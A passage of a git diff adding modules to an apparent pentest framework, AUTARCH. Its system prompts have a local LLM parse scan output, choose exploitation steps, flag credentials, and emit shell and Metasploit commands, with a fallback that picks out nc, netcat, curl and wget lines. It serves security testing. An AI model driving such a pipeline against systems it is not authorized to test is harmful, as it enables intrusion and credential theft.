'uploads' + d.mkdir(parents=True, exist_ok=True) + return d + + +def get_backups_dir() -> Path: + d = _APP_DIR / 'backups' + d.mkdir(parents=True, exist_ok=True) + return d + + +def get_templates_dir() -> Path: + return _APP_DIR / '.config' + + +def get_custom_configs_dir() -> Path: + d = _APP_DIR / '.config' / 'custom' + d.mkdir(parents=True, exist_ok=True) + return d + + +# ── Platform Detection ────────────────────────────────────────────── + +def _get_arch() -> str: + """Return architecture string: 'x86_64', 'arm64', etc.""" + machine = platform.machine().lower() + if machine in ('aarch64', 'arm64'): + return 'arm64' + elif machine in ('x86_64', 'amd64'): + return 'x86_64' + return machine + + +def get_platform() -> str: + """Return platform: 'linux', 'windows', or 'darwin'.""" + return platform.system().lower() + + +def get_platform_tag() -> str: + """Return platform-arch tag like 'linux-arm64', 'windows-x86_64'.""" + return f"{get_platform()}-{_get_arch()}" + + +def is_windows() -> bool: + return platform.system() == 'Windows' + + +def is_linux() -> bool: + return platform.system() == 'Linux' + + +def is_mac() -> bool: + return platform.system() == 'Darwin' + + +# ── Tool / Binary Lookup ─────────────────────────────────────────── +# +# Priority order: +# 1. System PATH (shutil.which — native binaries, correct arch) +# 2. Platform-specific well-known install locations +# 3. Platform-specific project tools (tools/linux-arm64/, etc.) +# 4. Generic project directories (android/, tools/, bin/) +# 5. Extra paths passed by caller +# + +# Well-known install locations by platform (last resort) +_PLATFORM_SEARCH_PATHS = { + 'windows': [ + Path(os.environ.get('LOCALAPPDATA', '')) / 'Android' / 'Sdk' / 'platform-tools', + Path(os.environ.get('USERPROFILE', '')) / 'Android' / 'Sdk' / 'platform-tools', + Path('C:/Program Files (x86)/Nmap'), + Path('C:/Program Files/Nmap'), + Path('C:/Program Files/Wireshark'), + Path('C:/Program Files (x86)/Wireshark'), + Path('C:/metasploit-framework/bin'), + ], + 'darwin': [ + Path('/opt/homebrew/bin'), + Path('/usr/local/bin'), + ], + 'linux': [ + Path('/usr/local/bin'), + Path('/snap/bin'), + ], +} + +# Tools that need extra environment setup when run from bundled copies +_TOOL_ENV_SETUP = { + 'nmap': '_setup_nmap_env', +} + + +def _setup_nmap_env(tool_path: str): + """Set NMAPDIR so bundled nmap finds its data files.""" + tool_dir = Path(tool_path).parent + nmap_data = tool_dir / 'nmap-data' + if nmap_data.is_dir(): + os.environ['NMAPDIR'] = str(nmap_data) + + +def _is_native_binary(path: str) -> bool: + """Check if an ELF binary matches the host architecture.""" + try: + with open(path, 'rb') as f: + magic = f.read(20) + if magic[:4] != b'\x7fELF': + return True # Not ELF (script, etc.) — assume OK + # ELF e_machine at offset 18 (2 bytes, little-endian) + e_machine = int.from_bytes(magic[18:20], 'little') + arch = _get_arch() + if arch == 'arm64' and e_machine == 183: # EM_AARCH64 + return True + if arch == 'x86_64' and e_machine == 62: # EM_X86_64 + return True + if arch == 'arm64' and e_machine == 62: # x86-64 on arm64 host + return False + if arch == 'x86_64' and e_machine == 183: # arm64 on x86-64 host + return False + return True # Unknown arch combo — let it try + except Exception: + return True # Can't read — assume OK + + +def find_tool(name: str, extra_paths: Optional[List[str]] = None) -> Optional[str]: + """ + Find an executable binary by name. + + Search order: + 1. System PATH (native binaries, correct architecture) + 2. Platform-specific well-known install locations + 3. Platform-specific project tools (tools/linux-arm64/ etc.) + 4. Generic project directories (android/, tools/, bin/) + 5. Extra paths provided by caller + + Skips binaries that don't match the host architecture (e.g. x86-64 + binaries on ARM64 hosts) to avoid FEX/emulation issues with root. + + Returns absolute path string, or None if not found. + """ + # On Windows, append .exe if no extension + names = [name] + if is_windows() and '.' not in name: + names.append(name + '.exe') + + # 1. System PATH (most reliable — native packages) + found = shutil.which(name) + if found and _is_native_binary(found): + return found + + # 2. Platform-specific well-known locations + plat = get_platform() + for search_dir in _PLATFORM_SEARCH_PATHS.get(plat, []): + if search_dir.is_dir(): + for n in names: + full = search_dir / n + if full.is_file() and os.access(str(full), os.X_OK) and _is_native_binary(str(full)): + return str(full) + + # 3-4. Bundled project directories + plat_tag = get_platform_tag() + search_dirs = [ + _APP_DIR / 'tools' / plat_tag, # Platform-specific (tools/linux-arm64/) + _APP_DIR / 'android', # Android tools + _APP_DIR / 'tools', # Generic tools/ + _APP_DIR / 'bin', # Generic bin/ + ] + + for tool_dir in search_dirs: + if tool_dir.is_dir(): + for n in names: + full = tool_dir / n + if full.is_file() and os.access(str(full), os.X_OK): + found = str(full) + if not _is_native_binary(found): + continue # Wrong arch — skip + # Apply environment setup for bundled tools + env_fn = _TOOL_ENV_SETUP.get(name) + if env_fn: + globals()[env_fn](found) + return found + + # 5. Extra paths from caller + if extra_paths: + for p in extra_paths: + for n in names: + full = os.path.join(p, n) + if os.path.isfile(full) and os.access(full, os.X_OK) and _is_native_binary(full): + return full + + # Last resort: return system PATH result even if wrong arch (FEX may work for user) + found = shutil.which(name) + if found: + return found + + return None + + +def tool_available(name: str) -> bool: + """Check if a tool is available anywhere.""" + return find_tool(name) is not None diff --git a/core/pentest_pipeline.py b/core/pentest_pipeline.py new file mode 100644 index 0000000..2407b9b --- /dev/null +++ b/core/pentest_pipeline.py @@ -0,0 +1,703 @@ +""" +AUTARCH Pentest Pipeline +Three-module architecture (Parsing -> Reasoning -> Generation) +based on PentestGPT's USENIX paper methodology. +Uses AUTARCH's local LLM via llama-cpp-python. +""" + +import re +from typing import Optional, List, Dict, Any, Tuple +from datetime import datetime + +from .pentest_tree import PentestTree, PTTNode, PTTNodeType, NodeStatus +from .config import get_config + + +# ─── Source type detection patterns ────────────────────────────────── + +SOURCE_PATTERNS = { + 'nmap': re.compile(r'Nmap scan report|PORT\s+STATE\s+SERVICE|nmap', re.IGNORECASE), + 'msf_scan': re.compile(r'auxiliary/scanner|msf\d?\s*>.*auxiliary|^\[\*\]\s.*scanning', re.IGNORECASE | re.MULTILINE), + 'msf_exploit': re.compile(r'exploit/|meterpreter|session\s+\d+\s+opened|^\[\*\]\s.*exploit', re.IGNORECASE | re.MULTILINE), + 'msf_post': re.compile(r'post/|meterpreter\s*>', re.IGNORECASE), + 'web': re.compile(r'HTTP/\d| str: + """Auto-detect tool output type from content patterns.""" + for source, pattern in SOURCE_PATTERNS.items(): + if pattern.search(output[:2000]): + return source + return 'manual' + + +# ─── Prompt Templates ──────────────────────────────────────────────── + +PARSING_SYSTEM_PROMPT = """You are a penetration testing output parser. Extract key findings from raw tool output. + +Given raw output from a security tool, extract and summarize: +1. Open ports and services (with versions when available) +2. Vulnerabilities or misconfigurations found +3. Credentials or sensitive information discovered +4. Operating system and software versions +5. Any error messages or access denials + +Rules: +- Be concise. Use bullet points. +- Include specific version numbers, port numbers, and IP addresses. +- Prefix exploitable findings with [VULN] +- Prefix credentials with [CRED] +- Note failed attempts and why they failed. +- Do not speculate beyond what the output shows. + +Format your response as: +SUMMARY: one line description +FINDINGS: +- finding 1 +- finding 2 +- [VULN] vulnerability finding +STATUS: success/partial/failed""" + +REASONING_SYSTEM_PROMPT = """You are a penetration testing strategist. You maintain a task tree and decide next steps. + +You will receive: +1. The current task tree showing completed and todo tasks +2. New findings from the latest tool execution + +Your job: +1. UPDATE the tree based on new findings +2. DECIDE the single most important next task + +Rules: +- Prioritize exploitation paths with highest success likelihood. +- If a service version is known, suggest checking for known CVEs. +- After recon, focus on the most promising attack surface. +- Do not add redundant tasks. +- Mark tasks not-applicable if findings make them irrelevant. + +Respond in this exact format: +TREE_UPDATES: +- ADD: parent_id | node_type | priority | task description +- COMPLETE: node_id | findings summary +- NOT_APPLICABLE: node_id | reason + +NEXT_TASK: description of the single most important next action +REASONING: 1-2 sentences explaining why this is the highest priority""" + +GENERATION_SYSTEM_PROMPT = """You are a penetration testing command generator. Convert task descriptions into specific executable commands. + +Available tools: +- shell: Run shell command. Args: {"command": "...", "timeout": 30} +- msf_search: Search MSF modules. Args: {"query": "search term"} +- msf_module_info: Module details. Args: {"module_type": "auxiliary|exploit|post", "module_name": "path"} +- msf_execute: Run MSF module. Args: {"module_type": "...", "module_name": "...", "options": "{\\"RHOSTS\\": \\"...\\"}" } +- msf_sessions: List sessions. Args: {} +- msf_session_command: Command in session. Args: {"session_id": "...", "command": "..."} +- msf_console: MSF console command. Args: {"command": "..."} + +Rules: +- Provide the EXACT tool name and JSON arguments. +- Describe what to look for in the output. +- If multiple steps needed, number them. +- Always include RHOSTS/target in module options. +- Prefer auxiliary scanners before exploits. + +Format: +COMMANDS: +1. TOOL: tool_name | ARGS: {"key": "value"} | EXPECT: what to look for +2. TOOL: tool_name | ARGS: {"key": "value"} | EXPECT: what to look for +FALLBACK: alternative approach if primary fails""" + +INITIAL_PLAN_PROMPT = """You are a penetration testing strategist planning an engagement. + +Target: {target} + +Create an initial reconnaissance plan. List the first 3-5 specific tasks to perform, ordered by priority. + +Format: +TASKS: +1. node_type | priority | task description +2. node_type | priority | task description +3. node_type | priority | task description + +FIRST_ACTION: description of the very first thing to do +REASONING: why start here""" + +DISCUSS_SYSTEM_PROMPT = """You are a penetration testing expert assistant. Answer the user's question about their current engagement. + +Current target: {target} + +Current status: +{tree_summary} + +Answer concisely and provide actionable advice.""" + + +# ─── Pipeline Modules ──────────────────────────────────────────────── + +class ParsingModule: + """Normalizes raw tool output into structured summaries.""" + + def __init__(self, llm): + self.llm = llm + self.config = get_config() + + def parse(self, raw_output: str, source_type: str = "auto", + context: str = "") -> dict: + """Parse raw tool output into normalized summary. + + Returns dict with 'summary', 'findings', 'status', 'raw_source'. + """ + if source_type == "auto": + source_type = detect_source_type(raw_output) + + chunk_size = 2000 + try: + chunk_size = self.config.get_int('pentest', 'output_chunk_size', 2000) + except Exception: + pass + + chunks = self._chunk_output(raw_output, chunk_size) + + all_findings = [] + all_summaries = [] + status = "unknown" + + for i, chunk in enumerate(chunks): + prefix = f"[{source_type} output" + if len(chunks) > 1: + prefix += f" part {i+1}/{len(chunks)}" + prefix += "]" + + message = f"{prefix}\n{chunk}" + if context: + message = f"Context: {context}\n\n{message}" + + self.llm.clear_history() + try: + response = self.llm.chat( + message, + system_prompt=PARSING_SYSTEM_PROMPT, + temperature=0.2, + max_tokens=512, + ) + except Exception as e: + return { + 'summary': f"Parse error: {e}", + 'findings': [], + 'status': 'failed', + 'raw_source': source_type, + } + + summary, findings, chunk_status = self._parse_response(response) + all_summaries.append(summary) + all_findings.extend(findings) + if chunk_status != "unknown": + status = chunk_status + + return { + 'summary': " | ".join(all_summaries) if all_summaries else "No summary", + 'findings': all_findings, + 'status': status, + 'raw_source': source_type, + } + + def _chunk_output(self, output: str, max_chunk: int = 2000) -> List[str]: + """Split large output into chunks.""" + if len(output) <= max_chunk: + return [output] + chunks = [] + lines = output.split('\n') + current = [] + current_len = 0 + for line in lines: + if current_len + len(line) + 1 > max_chunk and current: + chunks.append('\n'.join(current)) + current = [] + current_len = 0 + current.append(line) + current_len += len(line) + 1 + if current: + chunks.append('\n'.join(current)) + return chunks + + def _parse_response(self, response: str) -> Tuple[str, List[str], str]: + """Extract summary, findings, and status from LLM response.""" + summary = "" + findings = [] + status = "unknown" + + # Extract SUMMARY + m = re.search(r'SUMMARY:\s*(.+)', response, re.IGNORECASE) + if m: + summary = m.group(1).strip() + + # Extract FINDINGS + findings_section = re.search( + r'FINDINGS:\s*\n((?:[-*]\s*.+\n?)+)', + response, re.IGNORECASE + ) + if findings_section: + for line in findings_section.group(1).strip().split('\n'): + line = re.sub(r'^[-*]\s*', '', line).strip() + if line: + findings.append(line) + + # Extract STATUS + m = re.search(r'STATUS:\s*(\w+)', response, re.IGNORECASE) + if m: + status = m.group(1).strip().lower() + + # Fallback: if structured parse failed, use full response + if not summary and not findings: + summary = response[:200].strip() + for line in response.split('\n'): + line = line.strip() + if line.startswith(('-', '*', '[VULN]', '[CRED]')): + findings.append(re.sub(r'^[-*]\s*', '', line)) + + return summary, findings, status + + +class ReasoningModule: + """Maintains PTT and decides next actions.""" + + def __init__(self, llm, tree: PentestTree): + self.llm = llm + self.tree = tree + + def reason(self, parsed_output: dict, context: str = "") -> dict: + """Three-step reasoning: update tree, validate, extract next todo. + + Returns dict with 'tree_updates', 'next_task', 'reasoning'. + """ + tree_summary = self.tree.render_summary() + + findings_text = parsed_output.get('summary', '') + if parsed_output.get('findings'): + findings_text += "\nFindings:\n" + for f in parsed_output['findings']: + findings_text += f"- {f}\n" + + message = ( + f"Current pentest tree:\n{tree_summary}\n\n" + f"New information ({parsed_output.get('raw_source', 'unknown')}):\n" + f"{findings_text}" + ) + if context: + message += f"\n\nAdditional context: {context}" + + self.llm.clear_history() + try: + response = self.llm.chat( + message, + system_prompt=REASONING_SYSTEM_PROMPT, + temperature=0.3, + max_tokens=1024, + ) + except Exception as e: + return { + 'tree_updates': [], + 'next_task': f"Error during reasoning: {e}", + 'reasoning': str(e), + } + + updates = self._parse_tree_updates(response) + self._apply_updates(updates) + + next_task = "" + m = re.search(r'NEXT_TASK:\s*(.+)', response, re.IGNORECASE) + if m: + next_task = m.group(1).strip() + + reasoning = "" + m = re.search(r'REASONING:\s*(.+)', response, re.IGNORECASE | re.DOTALL) + if m: + reasoning = m.group(1).strip().split('\n')[0] + + # Fallback: if no NEXT_TASK parsed, get from tree + if not next_task: + todo = self.tree.get_next_todo() + if todo: + next_task = todo.label + + return { + 'tree_updates': updates, + 'next_task': next_task, + 'reasoning': reasoning, + } + + def _parse_tree_updates(self, response: str) -> List[dict]: + """Extract tree operations from LLM response.""" + updates = [] + + # Parse ADD operations + for m in re.finditer( + r'ADD:\s*(\S+)\s*\|\s*(\w+)\s*\|\s*(\d)\s*\|\s*(.+)', + response, re.IGNORECASE + ): + parent = m.group(1).strip() + if parent.lower() in ('root', 'none', '-'): + parent = None + ntype_str = m.group(2).strip().lower() + ntype = self._map_node_type(ntype_str) + updates.append({ + 'operation': 'add', + 'parent_id': parent, + 'node_type': ntype, + 'priority': int(m.group(3)), + 'label': m.group(4).strip(), + }) + + # Parse COMPLETE operations + for m in re.finditer( + r'COMPLETE:\s*(\S+)\s*\|\s*(.+)', + response, re.IGNORECASE + ): + updates.append({ + 'operation': 'complete', + 'node_id': m.group(1).strip(), + 'findings': m.group(2).strip(), + }) + + # Parse NOT_APPLICABLE operations + for m in re.finditer( + r'NOT_APPLICABLE:\s*(\S+)\s*\|\s*(.+)', + response, re.IGNORECASE + ): + updates.append({ + 'operation': 'not_applicable', + 'node_id': m.group(1).strip(), + 'reason': m.group(2).strip(), + }) + + return updates + + def _map_node_type(self, type_str: str) -> PTTNodeType: + """Map a string to PTTNodeType.""" + mapping = { + 'recon': PTTNodeType.RECONNAISSANCE, + 'reconnaissance': PTTNodeType.RECONNAISSANCE, + 'initial_access': PTTNodeType.INITIAL_ACCESS, + 'initial': PTTNodeType.INITIAL_ACCESS, + 'access': PTTNodeType.INITIAL_ACCESS, + 'privesc': PTTNodeType.PRIVILEGE_ESCALATION, + 'privilege_escalation': PTTNodeType.PRIVILEGE_ESCALATION, + 'escalation': PTTNodeType.PRIVILEGE_ESCALATION, + 'lateral': PTTNodeType.LATERAL_MOVEMENT, + 'lateral_movement': PTTNodeType.LATERAL_MOVEMENT, + 'persistence': PTTNodeType.PERSISTENCE, + 'credential': PTTNodeType.CREDENTIAL_ACCESS, + 'credential_access': PTTNodeType.CREDENTIAL_ACCESS, + 'creds': PTTNodeType.CREDENTIAL_ACCESS, + 'exfiltration': PTTNodeType.EXFILTRATION, + 'exfil': PTTNodeType.EXFILTRATION, + } + return mapping.get(type_str.lower(), PTTNodeType.CUSTOM) + + def _apply_updates(self, updates: List[dict]): + """Apply parsed operations to the tree.""" + for update in updates: + op = update['operation'] + + if op == 'add': + # Resolve parent - could be an ID or a label + parent_id = update.get('parent_id') + if parent_id and parent_id not in self.tree.nodes: + # Try to find by label match + node = self.tree.find_node_by_label(parent_id) + parent_id = node.id if node else None + + self.tree.add_node( + label=update['label'], + node_type=update['node_type'], + parent_id=parent_id, + priority=update.get('priority', 3), + ) + + elif op == 'complete': + node_id = update['node_id'] + if node_id not in self.tree.nodes: + node = self.tree.find_node_by_label(node_id) + if node: + node_id = node.id + else: + continue + self.tree.update_node( + node_id, + status=NodeStatus.COMPLETED, + findings=[update.get('findings', '')], + ) + + elif op == 'not_applicable': + node_id = update['node_id'] + if node_id not in self.tree.nodes: + node = self.tree.find_node_by_label(node_id) + if node: + node_id = node.id + else: + continue + self.tree.update_node( + node_id, + status=NodeStatus.NOT_APPLICABLE, + details=update.get('reason', ''), + ) + + +class GenerationModule: + """Converts abstract tasks into concrete commands.""" + + def __init__(self, llm): + self.llm = llm + + def generate(self, task_description: str, target: str, + context: str = "") -> dict: + """Generate executable commands for a task. + + Returns dict with 'commands' (list) and 'fallback' (str). + """ + message = f"Target: {target}\nTask: {task_description}" + if context: + message += f"\n\nContext: {context}" + + self.llm.clear_history() + try: + response = self.llm.chat( + message, + system_prompt=GENERATION_SYSTEM_PROMPT, + temperature=0.2, + max_tokens=512, + ) + except Exception as e: + return { + 'commands': [], + 'fallback': f"Generation error: {e}", + 'raw_response': str(e), + } + + commands = self._parse_commands(response) + fallback = "" + m = re.search(r'FALLBACK:\s*(.+)', response, re.IGNORECASE | re.DOTALL) + if m: + fallback = m.group(1).strip().split('\n')[0] + + return { + 'commands': commands, + 'fallback': fallback, + 'raw_response': response, + } + + def _parse_commands(self, response: str) -> List[dict]: + """Extract commands from LLM response.""" + commands = [] + + # Parse structured TOOL: ... | ARGS: ... | EXPECT: ... format + for m in re.finditer( + r'TOOL:\s*(\w+)\s*\|\s*ARGS:\s*(\{[^}]+\})\s*\|\s*EXPECT:\s*(.+)', + response, re.IGNORECASE + ): + tool_name = m.group(1).strip() + args_str = m.group(2).strip() + expect = m.group(3).strip() + + # Try to parse JSON args + import json + try: + args = json.loads(args_str) + except json.JSONDecodeError: + # Try fixing common LLM JSON issues + fixed = args_str.replace("'", '"') + try: + args = json.loads(fixed) + except json.JSONDecodeError: + args = {'raw': args_str} + + commands.append({ + 'tool': tool_name, + 'args': args, + 'expect': expect, + }) + + # Fallback: try to find shell commands or MSF commands + if not commands: + for line in response.split('\n'): + line = line.strip() + # Detect nmap/shell commands + if re.match(r'^(nmap|nikto|gobuster|curl|wget|nc|netcat)\s', line): + commands.append({ + 'tool': 'shell', + 'args': {'command': line}, + 'expect': 'Check output for results', + }) + # Detect MSF use/run commands + elif re.match(r'^(use |run |set )', line, re.IGNORECASE): + commands.append({ + 'tool': 'msf_console', + 'args': {'command': line}, + 'expect': 'Check output for results', + }) + + return commands + + +# ─── Pipeline Orchestrator ──────────────────────────────────────────── + +class PentestPipeline: + """Orchestrates the three-module pipeline.""" + + def __init__(self, llm, target: str, tree: PentestTree = None): + self.llm = llm + self.target = target + self.tree = tree or PentestTree(target) + self.parser = ParsingModule(llm) + self.reasoner = ReasoningModule(llm, self.tree) + self.generator = GenerationModule(llm) + self.history: List[dict] = [] + + def process_output(self, raw_output: str, + source_type: str = "auto") -> dict: + """Full pipeline: parse -> reason -> generate. + + Returns dict with 'parsed', 'reasoning', 'commands', 'next_task'. + """ + # Step 1: Parse + parsed = self.parser.parse(raw_output, source_type) + + # Step 2: Reason + reasoning = self.reasoner.reason(parsed) + + # Step 3: Generate commands for the next task + generated = {'commands': [], 'fallback': ''} + if reasoning.get('next_task'): + # Build context from recent findings + context = parsed.get('summary', '') + generated = self.generator.generate( + reasoning['next_task'], + self.target, + context=context, + ) + + result = { + 'parsed': parsed, + 'reasoning': reasoning, + 'commands': generated.get('commands', []), + 'fallback': generated.get('fallback', ''), + 'next_task': reasoning.get('next_task', ''), + } + + self.history.append({ + 'timestamp': datetime.now().isoformat(), + 'result': { + 'parsed_summary': parsed.get('summary', ''), + 'findings_count': len(parsed.get('findings', [])), + 'next_task': reasoning.get('next_task', ''), + 'commands_count': len(generated.get('commands', [])), + } + }) + + return result + + def get_initial_plan(self) -> dict: + """Generate initial pentest plan for the target.""" + prompt = INITIAL_PLAN_PROMPT.format(target=self.target) + + self.llm.clear_history() + try: + response = self.llm.chat( + prompt, + system_prompt=REASONING_SYSTEM_PROMPT, + temperature=0.3, + max_tokens=1024, + ) + except Exception as e: + return { + 'tasks': [], + 'first_action': f"Error: {e}", + 'reasoning': str(e), + } + + # Parse TASKS + tasks = [] + for m in re.finditer( + r'(\d+)\.\s*(\w+)\s*\|\s*(\d)\s*\|\s*(.+)', + response + ): + ntype_str = m.group(2).strip() + ntype = self.reasoner._map_node_type(ntype_str) + tasks.append({ + 'node_type': ntype, + 'priority': int(m.group(3)), + 'label': m.group(4).strip(), + }) + + # Add tasks to tree under appropriate branches + for task in tasks: + # Find matching root branch + parent_id = None + for root_id in self.tree.root_nodes: + root = self.tree.get_node(root_id) + if root and root.node_type == task['node_type']: + parent_id = root_id + break + self.tree.add_node( + label=task['label'], + node_type=task['node_type'], + parent_id=parent_id, + priority=task['priority'], + ) + + # Parse first action + first_action = "" + m = re.search(r'FIRST_ACTION:\s*(.+)', response, re.IGNORECASE) + if m: + first_action = m.group(1).strip() + + reasoning = "" + m = re.search(r'REASONING:\s*(.+)', response, re.IGNORECASE) + if m: + reasoning = m.group(1).strip() + + # Generate commands for first action + commands = [] + if first_action: + gen = self.generator.generate(first_action, self.target) + commands = gen.get('commands', []) + + return { + 'tasks': tasks, + 'first_action': first_action, + 'reasoning': reasoning, + 'commands': commands, + } + + def inject_information(self, info: str, source: str = "manual") -> dict: + """Inject external information and get updated recommendations.""" + parsed = { + 'summary': info[:200], + 'findings': [info], + 'status': 'success', + 'raw_source': source, + } + return self.process_output(info, source_type=source) + + def discuss(self, question: str) -> str: + """Ad-hoc question that doesn't affect the tree.""" + tree_summary = self.tree.render_summary() + prompt = DISCUSS_SYSTEM_PROMPT.format( + target=self.target, + tree_summary=tree_summary, + ) + self.llm.clear_history() + try: + return self.llm.chat( + question, + system_prompt=prompt, + temperature=0.5, + max_tokens=1024, + ) + except Exception as e: + return f"Error: {e}" diff --git a/core/pentest_session.py b/core/pentest_session.py new file mode 100644 index 0000000..67ef2fd --- /dev/null +++ b/core/pentest_session.py @@ -0,0 +1,279 @@ +""" +AUTARCH Pentest Session Manager +Save and resume penetration testing sessions with full state persistence. +""" + +import json +import re +from enum import Enum +from dataclasses import dataclass, field +from datetime import datetime +from pathlib import Path +from typing import Optional, List, Dict, Any + + +from .pentest_tree import PentestTree, NodeStatus + + +class PentestSessionState(Enum): + IDLE = "idle" + RUNNING = "running" + PAUSED = "paused" + COMPLETED = "completed" + ERROR = "error" + + +@dataclass +class SessionEvent: + """A single event in the session timeline.""" + timestamp: str + event_type: str + data: dict + + def to_dict(self) -> dict: + return { + 'timestamp': self.timestamp, + 'event_type': self.event_type, + 'data': self.data, + } + + @classmethod + def from_dict(cls, data: dict) -> 'SessionEvent': + return cls( + timestamp=data['timestamp'], + event_type=data['event_type'], + data=data.get('data', {}), + ) + + +class PentestSession: + """Manages a single penetration testing session.""" + + @classmethod + def _get_dir(cls): + from core.paths import get_data_dir + d = get_data_dir() / "pentest_sessions" + d.mkdir(parents=True, exist_ok=True) + return d + + def __init__(self, target: str, session_id: str = None): + self.session_id = session_id or self._generate_id(target) + self.target = target + self.state = PentestSessionState.IDLE + self.tree = PentestTree(target) + self.events: List[SessionEvent] = [] + self.findings: List[Dict[str, Any]] = [] + self.pipeline_history: List[dict] = [] + self.notes: str = "" + self.step_count: int = 0 + now = datetime.now().isoformat() + self.created_at = now + self.updated_at = now + + @staticmethod + def _generate_id(target: str) -> str: + """Generate a session ID from target and timestamp.""" + safe = re.sub(r'[^a-zA-Z0-9]', '_', target)[:30] + ts = datetime.now().strftime('%Y%m%d_%H%M%S') + return f"{safe}_{ts}" + + def start(self): + """Initialize a new session.""" + self.state = PentestSessionState.RUNNING + self.tree.initialize_standard_branches() + self.log_event('state_change', {'from': 'idle', 'to': 'running'}) + self.save() + + def pause(self): + """Pause the session and save state.""" + prev = self.state.value + self.state = PentestSessionState.PAUSED + self.log_event('state_change', {'from': prev, 'to': 'paused'}) + self.save() + + def resume(self): + """Resume a paused session.""" + prev = self.state.value + self.state = PentestSessionState.RUNNING + self.log_event('state_change', {'from': prev, 'to': 'running'}) + self.save() + + def complete(self, summary: str = ""): + """Mark session as completed.""" + prev = self.state.value + self.state = PentestSessionState.COMPLETED + self.log_event('state_change', { + 'from': prev, + 'to': 'completed', + 'summary': summary, + }) + self.save() + + def set_error(self, error_msg: str): + """Mark session as errored.""" + prev = self.state.value + self.state = PentestSessionState.ERROR + self.log_event('state_change', { + 'from': prev, + 'to': 'error', + 'error': error_msg, + }) + self.save() + + def log_event(self, event_type: str, data: dict): + """Log an event to the session timeline.""" + event = SessionEvent( + timestamp=datetime.now().isoformat(), + event_type=event_type, + data=data, + ) + self.events.append(event) + self.updated_at = event.timestamp + + def log_pipeline_result(self, parsed: str, reasoning: str, actions: list): + """Log a pipeline execution cycle.""" + self.pipeline_history.append({ + 'timestamp': datetime.now().isoformat(), + 'step': self.step_count, + 'parsed_input': parsed, + 'reasoning': reasoning, + 'generated_actions': actions, + }) + self.step_count += 1 + + def add_finding(self, title: str, description: str, + severity: str = "medium", node_id: str = None): + """Add a key finding.""" + self.findings.append({ + 'timestamp': datetime.now().isoformat(), + 'severity': severity, + 'title': title, + 'description': description, + 'node_id': node_id, + }) + + def save(self) -> str: + """Save session to JSON file. Returns filepath.""" + self._get_dir().mkdir(parents=True, exist_ok=True) + filepath = self._get_dir() / f"{self.session_id}.json" + + data = { + 'session_id': self.session_id, + 'target': self.target, + 'state': self.state.value, + 'created_at': self.created_at, + 'updated_at': self.updated_at, + 'notes': self.notes, + 'step_count': self.step_count, + 'tree': self.tree.to_dict(), + 'events': [e.to_dict() for e in self.events], + 'findings': self.findings, + 'pipeline_history': self.pipeline_history, + } + + with open(filepath, 'w') as f: + json.dump(data, f, indent=2) + + return str(filepath) + + @classmethod + def load_session(cls, session_id: str) -> 'PentestSession': + """Load a session from file.""" + filepath = cls._get_dir() / f"{session_id}.json" + if not filepath.exists(): + raise FileNotFoundError(f"Session not found: {session_id}") + + with open(filepath, 'r') as f: + data = json.load(f) + + session = cls(target=data['target'], session_id=data['session_id']) + session.state = PentestSessionState(data['state']) + session.created_at = data['created_at'] + session.updated_at = data['updated_at'] + session.notes = data.get('notes', '') + session.step_count = data.get('step_count', 0) + session.tree = PentestTree.from_dict(data['tree']) + session.events = [SessionEvent.from_dict(e) for e in data.get('events', [])] + session.findings = data.get('findings', []) + session.pipeline_history = data.get('pipeline_history', []) + return session + + @classmethod + def list_sessions(cls) -> List[Dict[str, Any]]: + """List all saved sessions with summary info.""" + cls._get_dir().mkdir(parents=True, exist_ok=True) + sessions = [] + for f in sorted(cls._get_dir().glob("*.json"), key=lambda p: p.stat().st_mtime, reverse=True): + try: + with open(f, 'r') as fh: + data = json.load(fh) + stats = {} + if 'tree' in data and 'nodes' in data['tree']: + nodes = data['tree']['nodes'] + stats = { + 'total': len(nodes), + 'todo': sum(1 for n in nodes.values() if n.get('status') == 'todo'), + 'completed': sum(1 for n in nodes.values() if n.get('status') == 'completed'), + } + sessions.append({ + 'session_id': data['session_id'], + 'target': data['target'], + 'state': data['state'], + 'created': data['created_at'], + 'updated': data['updated_at'], + 'steps': data.get('step_count', 0), + 'findings': len(data.get('findings', [])), + 'tree_stats': stats, + }) + except (json.JSONDecodeError, KeyError): + continue + return sessions + + def delete(self) -> bool: + """Delete this session's file.""" + filepath = self._get_dir() / f"{self.session_id}.json" + if filepath.exists(): + filepath.unlink() + return True + return False + + def export_report(self) -> str: + """Generate a text summary report of the session.""" + stats = self.tree.get_stats() + lines = [ + "=" * 60, + "AUTARCH Pentest Session Report", + "=" * 60, + f"Target: {self.target}", + f"Session: {self.session_id}", + f"State: {self.state.value}", + f"Started: {self.created_at}", + f"Updated: {self.updated_at}", + f"Steps: {self.step_count}", + "", + "--- Task Tree ---", + f"Total nodes: {stats['total']}", + f" Completed: {stats.get('completed', 0)}", + f" Todo: {stats.get('todo', 0)}", + f" Active: {stats.get('in_progress', 0)}", + f" N/A: {stats.get('not_applicable', 0)}", + "", + self.tree.render_text(), + "", + ] + + if self.findings: + lines.append("--- Findings ---") + for i, f in enumerate(self.findings, 1): + sev = f.get('severity', 'medium').upper() + lines.append(f" [{i}] [{sev}] {f['title']}") + lines.append(f" {f['description']}") + lines.append("") + + if self.notes: + lines.append("--- Notes ---") + lines.append(self.notes) + lines.append("") + + lines.append("=" * 60) + return "\n".join(lines) diff --git a/core/pentest_tree.py b/core/pentest_tree.py new file mode 100644 index 0000000..19945fe --- /dev/null +++ b/core/pentest_tree.py @@ -0,0 +1,350 @@ +""" +AUTARCH Penetration Testing Tree (PTT) +Hierarchical task tracker for structured penetration testing workflows. +Based on PentestGPT's USENIX paper methodology. +""" + +import uuid +from enum import Enum +from dataclasses import dataclass, field +from datetime import datetime +from typing import Optional, List, Dict, Any + + +class NodeStatus(Enum): + TODO = "todo" + IN_PROGRESS = "in_progress" + COMPLETED = "completed" + NOT_APPLICABLE = "not_applicable" + + +class PTTNodeType(Enum): + RECONNAISSANCE = "reconnaissance" + INITIAL_ACCESS = "initial_access" + PRIVILEGE_ESCALATION = "privilege_escalation" + LATERAL_MOVEMENT = "lateral_movement" + PERSISTENCE = "persistence" + CREDENTIAL_ACCESS = "credential_access" + EXFILTRATION = "exfiltration" + CUSTOM = "custom" + + +@dataclass +class PTTNode: + """A single node in the Penetration Testing Tree.""" + id: str + label: str + node_type: PTTNodeType + status: NodeStatus = NodeStatus.TODO + parent_id: Optional[str] = None + children: List[str] = field(default_factory=list) + details: str = "" + tool_output: Optional[str] = None + findings: List[str] = field(default_factory=list) + priority: int = 3 + created_at: str = "" + updated_at: str = "" + + def __post_init__(self): + now = datetime.now().isoformat() + if not self.created_at: + self.created_at = now + if not self.updated_at: + self.updated_at = now + + def 